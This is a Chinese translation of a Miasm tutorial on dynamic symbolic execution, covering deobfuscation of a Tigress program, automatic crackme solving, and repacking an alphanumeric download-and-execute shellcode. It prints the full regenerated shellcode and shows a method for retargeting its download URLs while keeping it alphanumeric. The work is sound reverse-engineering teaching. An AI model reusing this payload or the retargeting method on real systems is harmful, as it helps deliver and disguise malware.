玩转动态符号执行
动态符号执行(Dynamic symbolic execution,DSE)是一种目前较流行的,强大的分析方法,它通常用在下面几种情况中,如:
代码覆盖率
生成输入和测试用例
生成Exploit
直接fuzzing
检查越界访问
自动破解crackme
算法重构
反混淆
...
Miasm并不是第一个实现了这一功能的工具,但是,因为它已经满足所有实现DSE的必要条件,所以将其他功能添加到main branch只是时间问题。
本文用几个例子和一个简单的API来教你怎么在脚本中使用DSE。
从被混淆的程序中恢复出它的算法
在不进行逆向的情况下重用别人的壳
自动破解crackme
概述:
使用DSE的破解教程
TigressVM
运行程序
添加DSE
深入研究
逆向一个shellcode
提高代码覆盖率-破解crackme
概述
构建新的输入
自动探测
最后的想法
相关资源
这篇分析基于1fb3326版Miasm
使用DSE的破解教程
动态符号执行(DSE,也叫做concolic execution)使用一个具体的值进行符号执行。这种符号执行可以避免由循环引起的路径爆炸,和在表达式太复杂或系统调用会生成值时给符号一个具体的值。
在这种方法中,我们每次只考虑一条路径,输入约束会随着程序路径的不断延伸而不断增长,当路径走到尽头时,将其中某一个约束条件取反,以到达新的代码路径。
接下来我们通过一个例子来介绍DSE。
思考下列代码:
int func(int arg) {
arg += 1;
if (arg & 0xFF == 0x12) {
arg += 13;
}
return arg;
}
我们先用一个具体的值来进行第一次代码执行,此处令arg=0。
接下来,在进行一次符号执行之后,我们得到下述表达式:
0: ARG = ARG + 1
1: (ARG & 0xFF == 0x12) ? 2 : 4 -> 表达式无解!
因为表达式无解,符号执行运行不到函数结尾。当然,在这里我们可以采用其他方法,比如说多路径符号执行,但这不是本例的重点。
到这一步,在不考虑条件的前提下,通过使用具体的值进行符号执行,我们已经有了一个条件输出(也就是一条可能的路径)
接下来对条件进行取反,也就是假设(ARG & 0xFF == 0x12)不成立,或者说是(ARG & 0xFF != 0x12),我们把新的条件加入到条件执行状态中。接下来我们统一把这样的条件叫做约束。
执行最终会结束,然后返回ARG + 1。这样,我们就可以得出这一块代码在(ARG & 0xFF != 0x12)时返回ARG + 1。尽管代码可能会被混淆,但我们使用这种方式根据不需要看代码。
你以为这些就是全部了吗,我们还可以用DSE做更多的事!我们可以用SMT求解器把路径中的约束取反。假设求解器求出的答案是ARG = 0x123412,它满足条件(ARG & 0xFF == 0x12)。
在对输入进行上述操作之后,我们又得到了一条新的路径和一个新的结果:如果(ARG & 0xFF == 0x12)代码段返回ARG + 14。
上面这些就是在程序中产生新的输入以到达新的代码区域的全部过程了。这一方法常常被一些顶级团队用在网络安全挑战赛中,他们通过构造新的输入以使代码到达模糊测试到达不了的地方,以此加强模糊测试的效果。
模糊测试在测试输入时确实非常快,但当碰见"复杂的条件"时,例如比较输入和magic值(译者注:事先约定好的几个固定的字节时,它们就不那么有效了).所幸,这正是DSE的长处。
TigressVM
接下来我们用这一技术对一个被混淆过的算法进行恢复。我们用的例子来自于 J. Salwan的Tigress.
整个Tigress由几个程序组成,它们接收命令行参数,通过算法运算后输出一个值。
运行程序
首先,我们写个脚本用Miasm来运行这个程序。PR #515可以让我们模拟运行Linux二进制文件的环境。
from miasm2.analysis.sandbox import Sandbox_Linux_x86_64
# Create sandbox
parser = Sandbox_Linux_x86_64.parser(description="ELF sandboxer")
parser.add_argument("filename", help="ELF Filename")
options = parser.parse_args()
# Force environment simulation
options.mimic_env = True
# Dummy argument: 123456789
options.command_line = ["".join(chr(0x30 + i) for i in xrange(1, 10))]
# Instantiate and run
sb = Sandbox_Linux_x86_64(options.filename, options, globals())
sb.run()
现在启动这个程序会报错,因为strtoul这个桩还没有插入程序中。
$ python tigress.py tigress-0-challenge-0
[INFO]: xxx___libc_start_main(main=0x4005f4, argc=0x2, ubp_av=0x13ffc4, init=0x400ca0, fini=0x400d30, rtld_fini=0x0, stack_end=0x13ffb8) ret addr: 0x400539
ValueError: ('unknown api', '0x71111012L', "'xxx_strtoul'")
接下来我们手动实现一个strtoul。
def xxx_strtoul(jitter):
ret_ad, args = jitter.func_args_systemv(["nptr", "endptr", "base"])
assert args.endptr == 0
content = jitter.get_str_ansi(args.nptr)
value = int(content, args.base)
print "%r -> %d" % (content, value)
jitter.func_ret_systemv(ret_ad, value)
写好strtoul后,再次运行程序,这次程序直接崩溃了。原因是这个函数使用了栈空间,所以我们要模拟栈操作(段+内存管理)
from miasm2.jitter.csts import PAGE_READ
...
# Init stack canary
sb.jitter.ir_arch.do_all_segm = True
FS_0_ADDR = 0x7ff70000
sb.jitter.cpu.FS = 0x4
sb.jitter.cpu.set_segm_base(sb.jitter.cpu.FS, FS_0_ADDR)
sb.jitter.vm.add_memory_page(
FS_0_ADDR + 0x28, PAGE_READ, "\x42\x42\x42\x42\x42\x42\x42\x42", "Stack canary FS[0x28]")
我们还需要支持128位的操作,所以我们会使用llvmjitter(python也可以,但会比较慢)
options.jitter = "llvm"
写好这些后,程序就能正常运行了。
$ python tigress.py tigress-0-challenge-0
[INFO]: xxx___libc_start_main(main=0x4005f4, argc=0x2, ubp_av=0x13ffc4, init=0x400ca0, fini=0x400d30, rtld_fini=0x0, stack_end=0x13ffb8) ret addr: 0x400539
[INFO]: xxx_strtoul(nptr=0x13ffec, endptr=0x0, base=0xa) ret addr: 0x400660
'123456789' -> 123456789
[INFO]: xxx_printf(fmt=0x400dbd) ret addr: 0x4006b4
8131652486802131118
$ ./tigress-0-challenge-0 123456789
8131652486802131118
添加DSE
接下来,我们需要用输入建立一个输出值的等式
也就是说,我们需要把strtoul的返回值"符号化",并取得printf第二个参数的等式。
要做到这一步,我们需要在strtoul的末尾,把DSE引擎附加到jitter。在附加之后,Miasm会自动通知符号引擎具体值的状态,收集约束,检查符号执行是否与具体状态相同等等。
首先,实例化DSEEngine对象,用它向外部API中插入我们的代码(像沙盒一样)
from miasm2.analysis.dse import DSEEngine
dse = DSEEngine(sb.machine)
dse.add_lib_handler(sb.libs, globals())
接下来,在strtoul的末尾把DSE对象附加到jitter,把所有寄存器的值设置为具体值(我们不需要追踪它们的值)最后把返回值赋值给符号
from miasm2.expression.expression import ExprId
VALUE = ExprId("VALUE", 64)
def xxx_strtoul(jitter):
global dse
...
jitter.func_ret_systemv(ret_ad, value)
dse.attach(jitter)
dse.update_state_from_concrete()
dse.update_state({
dse.ir_arch.arch.regs.RAX: VALUE,
})
这个脚本的执行时间会有点长。运行到后面还会报错,这时我们看一下xxx_printf_symb这个函数,它是printf的桩函数。
别被吓到了,我们只需要查看它的第二个参数。
def xxx_printf_symb(dse):
result = dse.eval_expr(dse.ir_arch.arch.regs.RSI)
print result
raise RuntimeError("Exit")
最后我们得到下面这个复杂的等式。
({(VALUE+(VALUE|(VALUE+0x34D870D1)|0xFFFFFFFFD9FCA98B)+0x34D870D1) 0 64, ((VALUE+(VALUE|(VALUE+0x34D870D1)|0xFFFFFFFFD9FCA98B)+0x34D870D1)[63:64]?(0xFFFFFFFFFFFFFFFF,0x0)) 64 128}*{({((((((VALUE|0x46BC480) << ({(((VALUE+0x34D870D1)&0x7)|0x1)[0:8] 0 8, 0x0 8 64}&0x3F))&0x3F) << 0x4)|((VALUE+0x1DD9C3C5) << ({((- ((((VALUE+0x34D870D1)*0x38BCA01F)&0xF)|0x1))+0x40)[0:8] 0 8, 0x0 8 64}&0x3F))|((VALUE+0x1DD9C3C5) >> ({((((VALUE+0x34D870D1)*0x38BCA01F)&0xF)|0x1)[0:8] 0 8, 0x0 8 64}&0x3F)))*0x2C7C60B7) 0 64, (((((((VALUE|0x46BC480) << ({(((VALUE+0x34D870D1)&0x7)|0x1)[0:8] 0 8, 0x0 8 64}&0x3F))&0x3F) << 0x4)|((VALUE+0x1DD9C3C5) << ({((- ((((VALUE+0x34D870D1)*0x38BCA01F)&0xF)|0x1))+0x40)[0:8] 0 8, 0x0 8 64}&0x3F))|((VALUE+0x1DD9C3C5) >> ({((((VALUE+0x34D870D1)*0x38BCA01F)&0xF)|0x1)[0:8] 0 8, 0x0 8 64}&0x3F)))*0x2C7C60B7)[63:64]?(0xFFFFFFFFFFFFFFFF,0x0)) 64 128}*{(VALUE|0x46BC480) 0 64, ((VALUE|0x46BC480)[63:64]?(0xFFFFFFFFFFFFFFFF,0x0)) 64 128})[0:64] 0 64, (({((((((VALUE|0x46BC480) << ({(((VALUE+0x34D870D1)&0x7)|0x1)[0:8] 0 8, 0x0 8 64}&0x3F))&0x3F) << 0x4)|((VALUE+0x1DD9C3C5) << ({((- ((((VALUE+0x34D870D1)*0x38BCA01F)&0xF)|0x1))+0x40)[0:8] 0 8, 0x0 8 64}&0x3F))|((VALUE+0x1DD9C3C5) >> ({((((VALUE+0x34D870D1)*0x38BCA01F)&0xF)|0x1)[0:8] 0 8, 0x0 8 64}&0x3F)))*0x2C7C60B7) 0 64, (((((((VALUE|0x46BC480) << ({(((VALUE+0x34D870D1)&0x7)|0x1)[0:8] 0 8, 0x0 8 64}&0x3F))&0x3F) << 0x4)|((VALUE+0x1DD9C3C5) << ({((- ((((VALUE+0x34D870D1)*0x38BCA01F)&0xF)|0x1))+0x40)[0:8] 0 8, 0x0 8 64}&0x3F))|((VALUE+0x1DD9C3C5) >> ({((((VALUE+0x34D870D1)*0x38BCA01F)&0xF)|0x1)[0:8] 0 8, 0x0 8 64}&0x3F)))*0x2C7C60B7)[63:64]?(0xFFFFFFFFFFFFFFFF,0x0)) 64 128}*{(VALUE|0x46BC480) 0 64, ((VALUE|0x46BC480)[63:64]?(0xFFFFFFFFFFFFFFFF,0x0)) 64 128})[63:64]?(0xFFFFFFFFFFFFFFFF,0x0)) 64 128})[0:64]
把VALUE=123456789代进去算一下,用assert关键字把它的值断言为和具体值一样。
from miasm2.expression.expression import ExprId, ExprInt
...
def xxx_printf_symb(dse):
result = dse.eval_expr(dse.ir_arch.arch.regs.RSI)
print result
obtained = dse.symb.expr_simp(result.replace_expr({VALUE: ExprInt(123456789, 64)}))
print obtained
assert int(obtained) == sb.jitter.cpu.RSI
raise RuntimeError("Exit")
可以发现,这一次的输入令我们的等式成立了。
在J. Salwan用来对结果进行验证的多个测试用例上运行,我们可以获得同样的准确率。(下一个例子涉及到信号处理,为简单起见,这里就不介绍了)
深入研究
不出所料,我们的公式对于VM-0的Challenge-2是不成立的。
通过用同一模块中的 DSEPathConstraint 类替换DSEEngine类,可以让Miasm跟踪路径上的约束。
from miasm2.analysis.dse import DSEPathConstraint
dse = DSEPathConstraint(sb.machine)
这些约束会存放在z3.Solver对象上,我们可以通过dse.cur_solver来对他们进行访问(然后是dse.cur_solver.assertions)。
不过这个对象能做的不仅仅是这些,根据produce_solution选项的不同,它可以实现不同的功能,几个选项如下:
PRODUCE_SOLUTION_CODE_COV
PRODUCE_SOLUTION_BRANCH_COV,
PRODUCE_SOLUTION_PATH_COV
它会为试着为每块没走过的代码段,CFG分支和CFG路径分别生成一个新的反例。
默认情况下,这个方法会在 new_solutions 这个属性中存放多个(solution identifier 和其对应的输入)。
这些方案可以通过重写 produce_solution(判断是否应该生成新的求解器)和handle_solution(将结果求解器模型转化成新的解法)进行扩展
所以,在这个例子中,用默认选项(code coverage)运行脚本后,程序就返回一些(新目标,解决方案):
>>> dse.new_solutions
{
ExprInt(0x4007D4, 64): set([[VALUE = 60813477099536420]]),
ExprInt(0x4007BF, 64): set([[VALUE = 15749087897455188096],
[VALUE = 633318710181888]])
}
事实上,我们可以根据错误的输入值对公式的输出值进行验证,除了633318710181888(两条不同的路径可以产生相同的结果)
进一步来说,通过重写handle_solution并找到对应的路径约束,然后根据对应的公式用新的值重新模拟这个过程,我们就可以还原最初的约束(if(cond)会影响到产生的公式)条件。
example/symbol_exec/dse_strategies.py 这个例子可以用作这种方法的入门学习。
在模糊测试中,我们可以用这些值作为新的输入来到达新的代码段。
逆向一个加壳的shellcode
还记得这个shellcode吗?
提醒一下,这个shellcode通篇只有字母和数字,它实际上有一个自修改的桩(self-modifying stub)可在适当位置对真正的shellcode进行脱壳。
shellcode中的桩程序会在跳转到真正的payload之前运行两个解密循环,而真正的shellcode会下载并执行指定程序。
剧透:我们会使用DSE来获得一个类似的shellcode,但是是从一个受控制的URL上下载下来的。
首先,我们运行一个脚本来加载这个shellcode(起码到达初始进入点)。
from miasm2.analysis.machine import Machine
from miasm2.jitter.csts import PAGE_READ, PAGE_WRITE
# Init and map the shellcode
data = open("shellcode.bin").read()
machine = Machine("x86_32")
jitter = machine.jitter()
addr_sc = 0x400000
jitter.vm.add_memory_page(addr_sc, PAGE_READ|PAGE_WRITE, data, "Shellcode")
# Init environment: stack, and EAX on the entry_point
jitter.init_stack()
jitter.cpu.EAX = addr_sc
# Add a breakpoint before the OEP
def jump_on_oep(jitter):
print "OEP reached!"
return False
jitter.add_breakpoint(addr_sc + 0x4b, jump_on_oep)
# Launch the jitter
jitter.init_run(addr_sc)
jitter.continue_run()
首先要获得存储初始状态函数的结果的方程。要做到这一步,我们会使用DSE引擎,在内存中符号化初始的shellcode,符号化的内存范围可以通过 symbolize_memory 函数指定。
from miasm2.analysis.dse import DSEEngine
from miasm2.core.interval import interval
...
# Init the dse
dse = DSEEngine(machine)
# Add a breakpoint before the OEP
...
# Init jitter context and DSE
jitter.init_run(addr_sc)
dse.attach(jitter)
dse.update_state_from_concrete()
dse.symbolize_memory(interval([(addr_sc, addr_sc + len(data) - 1)]))
# Launch the jitter
jitter.continue_run()
这样就可以获取0x42th处的等式了。
from miasm2.expression.expression import *
print dse.eval_expr(ExprMem(ExprInt(addr_sc + 0x42, 32), 8))
也就是:(MEM_0x400053^(MEM_0x400052*0x10))
MEM_<addr> 是DSE引擎用于表示符号化addr处的内存而创建的符号,这个符号可以通过 dse.memory_to_expr(addr) 函数获得。
从我们先前的分析来看,最终的内存由桩程序,下载并执行的payload,以unicode编码的URLs和一些无用的字节组成。
要想达成我们的目的,需要保留最终的payload和更新URL,也就是说,我们会把最终状态设置为和内存中在0x368字节处(stub+payload),以及接下来我们更新过URL。
要完成上述目标,我们先用 DSEPathConstraint 这个对象来保存路径约束。
from miasm2.analysis.dse import DSEPathConstraint
...
dse = DSEPathConstraint(machine, produce_solution=False)
接下来,用我们的URL构建我们期望的内存布局。
...
jitter.continue_run()
memory = jitter.vm.get_mem(addr_sc, 0x368)
urls = ["https://miasm.re/1", "https://github.com/cea-sec/miasm"]
memory += "\x00".join(urls) + "\x00\x00"
注意,这个脚本也可以用来修改payload...
现在,把最终状态设为内存布局那样。
for i, c in enumerate(memory):
addr = addr_sc + i
exp = ExprMem(ExprInt(addr, 32), 8)
value = ExprInt(ord(c), 8)
eq = dse.eval_expr(exp)
# Constraint the result of the equation at address "addr" (in "eq") to be
# equal to our custom memory byte "value"
eaff = ExprAff(eq, value)
dse.cur_solver.add(dse.z3_trans.from_expr(eaff))
在这个阶段,用求解器计算一下结果:
dse.cur_solver.check()
model = dse.cur_solver.model()
out = ""
for addr in xrange(addr_sc, addr_sc + len(data)):
x = model.eval(dse.z3_trans.from_expr(dse.memory_to_expr(addr)))
try:
out += chr(x.as_long())
except:
out += "A"
但等等,如果看一看结果的字节,我们就会发现它不仅仅是由字母和数字构成!
是的,我们从来没有限制输入是字母和数字。这个问题很好解决。
import z3
def force_alphanum(x):
""" Force x in [A-Za-z0-9] """
constraint = []
# Integer
constraint.append(z3.And(x <= ord('9'), x >= ord('0')))
# Uppercase
constraint.append(z3.And(x <= ord('Z'), x >= ord('A')))
# Lowercase
constraint.append(z3.And(x <= ord('z'), x >= ord('a')))
return z3.Or(*constraint)
...
# Force alphanum
for addr in xrange(addr_sc, addr_sc + len(data)):
z3_addr = dse.z3_trans.from_expr(dse.memory_to_expr(addr))
dse.cur_solver.add(force_alphanum(z3_addr))
# Get the solution
...
最终我们得到了新鲜出炉的shellcode。
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
用前面一篇文章中的脚本,对shellcode是否正确进行一下验证:
...
[INFO]: urlmon_URLDownloadToCacheFileW(0x0, 0x20000000, 0x20000018, 0x1000, 0x0, 0x0) ret addr: 0x401161
https://miasm.re/1
[INFO]: kernel32_CreateProcessW(0x20000018, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x13ff88, 0x13ff78) ret addr: 0x4012c5
...
[INFO]: urlmon_URLDownloadToCacheFileW(0x0, 0x20000000, 0x20000026, 0x1000, 0x0, 0x0) ret addr: 0x401161
https://github.com/cea-sec/miasm
[INFO]: kernel32_CreateProcessW(0x20000026, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x13ff88, 0x13ff78) ret addr: 0x4012c5
...
完美!
这不是魔法:这只是一个自解压的桩程序,不依赖数据流和控制流。例如,使用了压缩的桩程序不会只有这么点代码。
提高覆盖率-破解crackme
目标程序是example/samples/dse_crackme.c,对应的脚本是example/symbol_exec/dse_crackme.py
概述
这个crackme的主要流程是,从文件中加载一个key,然后运行几个测试用例。这些测试用例包括:
文件长度的限制
算术溢出的测试(2 * buf[7] == 14) && (buf[7] != 7)
magic值的测试(不适合独立的fuzzer)
基于表实现的一个CRC16的值
最终的目的是输出"OK"。
我们会使用公用的提高覆盖率的策略:
运行某个输入
记录哪些分支没被执行以及相关的约束
解析并为这些分支产生一个新的输入
回到步骤1
这样,输入就会逐渐地扩展到新的代码块上(也就是说,在越来越多的测试用例下走向成功)
脚本dse_crackme.py是实现这个例子的代码,不过这超出了本文的范围。
建立新的输入
正如前面看到的,我们使用了DSE引擎来追踪路径约束,使用的是下面这些熟悉的代码:
Instanciate the DSE engine
machine = Machine("x86_64")
dse = DSE(machine)
Attach to the jitter
dse.attach(sb.jitter)
Update the jitter state. df is read, but never set
Approaches: specific or generic
- Specific:
df_value = ExprInt(sb.jitter.cpu.df, dse.ir_arch.arch.regs.df.size)
dse.update_state({
dse.ir_arch.arch.regs.df: df_value
})
- Generic
dse.update_state_from_concrete()
在这一步中,进行模拟会导致程序跳转到一个未知的地址,事实上,在具体执行的时候,对__libc_start_main的调用是作为桩程序来使用的(见miasm2/os_dep/linux_stdlib.py)。但要想使DSE工作,还需要把它符号化。
在这里,我们实现了这个程序的一个原始版本。我们使用"_symb"后缀作为命令约定。
def xxx___libc_start_main_symb(dse):
# ['RDI', 'RSI', 'RDX', 'RCX', 'R8', 'R9']
# main, argc, argv, ...
regs = dse.ir_arch.arch.regs
top_stack = dse.eval_expr(regs.RSP)
main_addr = dse.eval_expr(regs.RDI)
argc = dse.eval_expr(regs.RSI)
argv = dse.eval_expr(regs.RDX)
hlt_addr = ExprInt(0x1337beef, 64)
dse.update_state({
ExprMem(top_stack, 64): hlt_addr,
regs.RDI: argc,
regs.RSI: argv,
dse.ir_arch.IRDst: main_addr,
dse.ir_arch.pc: main_addr,
})
我们可以通过add_handler函数把这一函数注册到 __libc_start_main 的地址中去。(相当于加了一个断点)。
但为了减轻工作量,我们可以使用:
Register symbolic stubs for extern functions (xxx_puts_symb, ...)
dse.add_lib_handler(sb.libs, globals())
用这行代码,Miasm会使用当前脚本中定义的这个函数,自动为imports进行注册。这和沙盒执行时的机制是一样的。
要继续执行程序,接下来我们需要FILE相关的函数。我们定义了一个SymbolicFile类,它可以使用一个具体的size和nmemb参数对文件进行读取,并返回符号化的byte。
我们也实现了相关的函数:
xxx_fopen_symb
xxx_fread_symb
xxx_fclose_symb
它们的实现很简单,这里就不介绍了。主要功能就是,读取文件并返回字节,当然,文件大小也是用符号表示。
最后,调用puts来显示"BAD"或"OK"。一旦程序运行到这里,执行就停止了。
要做到这点,并保存最终的结果(BAD或OK),在puts桩程序中,我们需要raise一个exception。
# Stop the execution on puts and get back the corresponding string
class FinishOn(Exception):
def __init__(self, string):
self.string = string
super(FinishOn, self).__init__()
def xxx_puts_symb(dse):
string = dse.jitter.get_str_ansi(dse.jitter.cpu.RDI)
raise FinishOn(string)
现在,我们可以从程序的开始,到最终的puts,都保持DSE运行.下一步就是产生新的输入了。
当 DSEPathConstraint 对象可以解出到达新分支的约束时,它的handle_solution 函数就会被调用。这个函数接收相关的z3模型以及新的目标作为参数。一个解可以重写这一方法来生成新的解。
我们也可以使用与new_solutions属性中的新的解相关的模型.(见上面)
然后重用目前的策略来生成的新的输入。例如,我们使用代码覆盖的策略来生成新的输入以到达之前没到达过的代码段。
strategy = DSEPathConstraint.PRODUCE_SOLUTION_CODE_COV
# Other possibilities:
# strategy = DSEPathConstraint.PRODUCE_SOLUTION_BRANCH_COV,
# strategy = DSEPathConstraint.PRODUCE_SOLUTION_PATH_COV
dse = DSEPathConstraint(machine, produce_solution=strategy)
在程序执行到最后时,我们就必须建立与计算出的解(new_solutions的属性值)相对应的文件内容,并保存它们,为之后做准备.
finfo = FILE_to_info_symb[FILE_stream]
for sol_ident, model in dse.new_solutions.iteritems():
# Build the file corresponding to solution in 'model'
out = ""
fsize = max(model.eval(dse.z3_trans.from_expr(FILE_size)).as_long(),
len(finfo.gen_bytes))
for index in xrange(fsize):
try:
byteid = finfo.gen_bytes[index]
out += chr(model.eval(dse.z3_trans.from_expr(byteid)).as_long())
except (KeyError, AttributeError) as _:
# Default value if there is no constraint on current byte
out += "\x00"
# Save solution for later use
todo.add(out)
在这一步,我们可以运行文件中的二进制程序,并为每个分支生成新的输入。
自动探测
我们现在需要做的就是自动探测所有的解。首先,我们需要恢复两次实验之间的状态。
相关的DSE功能是它的快照功能。因为要保存已生成的解-避免为已探测的代码段生成新的解-keep_known_solutions选项设置为true:
# Save the current clean state, before any computation of the FILE content
snapshot = dse.take_snapshot()
...
dse.restore_snapshot(snapshot, keep_known_solutions=True)
所以,我们先建立一个空文件:
todo = set([""]) # Set of file contents to test
现在,只要还有候选输入,我们不断进行下述步骤:
获取文件内容中的候选输入
把它们打印出来以观察它们的演变
恢复clean状态
运行附加了DSE的程序
最后,如果得到一个合法的解,就使用break跳出程序。否则,把新的输入添加到候选输入集合中,并从步骤1开始。
相关代码很简单:
while todo:
# Prepare a solution to try, based on the clean state
file_content = todo.pop()
print "CUR: %r" % file_content
open(TEMP_FILE.name, "w").write(file_content)
dse.restore_snapshot(snapshot, keep_known_solutions=True)
FILE_to_info.clear()
FILE_to_info_symb.clear()
# Play the current file
try:
sb.run()
except FinishOn as finish_info:
print finish_info.string
if finish_info.string == "OK":
# Stop if the expected result is found
found = True
break
# Get new candidates
finfo = FILE_to_info_symb[FILE_stream]
for sol_ident, model in dse.new_solutions.iteritems():
# Build the file corresponding to solution in 'model'
...
todo.add(out)
启动这个最终的脚本,得到下列输出:
CUR: ''
BAD
CUR: '\x00'
BAD
CUR: '\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
BAD
CUR: 'M\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
BAD
CUR: 'M\x00\x00\x00\x00\x00\x00\x07\x00\x00\x00\x00\x00\x00\x00'
BAD
CUR: 'M\x00\x00\x00\x00\x00\x00\x87\x00\x00\x00\x00\x00\x00\x00'
BAD
CUR: 'M!@$M\x00\x00\x87\x00\x00\x00\x00\x00\x00\x00'
BAD
CUR: 'M!@$MN\x0e\x87\xb1}\nN\xc60\xe7'
OK
FOUND !
我们可以观察到上面这些检查点,分别是:
检查文件大小
检查第一个字节(等于'M')
分别在两个测试用例(x!=7,2*x==14)中检查溢出
检查magic值
检查CRC16的值(必须等于1337)
我们可以用已得到的结果来检查结果是否正确:
hexdump -C test.txt
00000000 4d 21 40 24 4d 4e 0e 87 b1 7d 0a 4e c6 30 e7 |M!@$MN...}.N.0.|
gcc dse_crackme.c -o dse_crackme
./dse_crackme test.txt
OK
最终我们得到了正确的结果。
在这里,代码覆盖率的策略已经足够了;但并不总是这样。如果这一最简单的策略不够好,那就使用更强力,当然也更麻烦,的策略,比如说分支和路径覆盖策略。要使用新的策略,只需要修改 DSEPathConstraint 的produce_solution 参数。
边注:对于那些对内部实现感兴趣的人,你可能注意到了,CRC16是基于表实现的。最后,一些待求解的约束如下所示:
@16[table_offset + symbolic_element] == CST
我们可以用z3查找符号,解出这个约束,要做到这点,z3需要知道表的值。
为了达到这一目的,我们可以使用 Miasmexpr_range 工具来取得可到达的地址区间。如果区间不是太大的话,我们可以在内存内容中添加一个约束给z3(@16[table_offset + 2] == 0x1021等)。
因为地址是用符号保存的,所以这也是可以做到的。因为性能的原因,其它的一些框架没有选择这种方法.要在Miasm中模仿这一过程,寻址过程可以由它们的DSE.handle方法中的具体值来完成。
最后的想法
这篇文章对DSE能完成的工作做了一个大体的介绍。
Miasm的实现方式非常灵活;它可以满足大部人的需要。此外,只需要几行代码,就可以将DSE添加到现有脚本中。事实证明它是一种强大的逆向工具。
相关资源
相关的脚本:
tigress.py
repack.py
相关链接:
Unleashing MAYHEM on Binary Code
Manticore - Defcon 200
Angr - Defcon magic2000
Using Miasm to fuzz binaries with AFL (+ DSE)
Enhancing Symbolic Execution with Veritesting
Your Exploit is Mine: Automatic Shellcode - Transplant for Remote Exploits
Driller: Augmenting Fuzzing Through Selective - Symbolic Execution
本文由看雪翻译小组 梦野间 编译,来源miasm's blog
转载请注明来自看雪社区
往期热门阅读:
扫描二维码关注我们,更多干货等你来拿!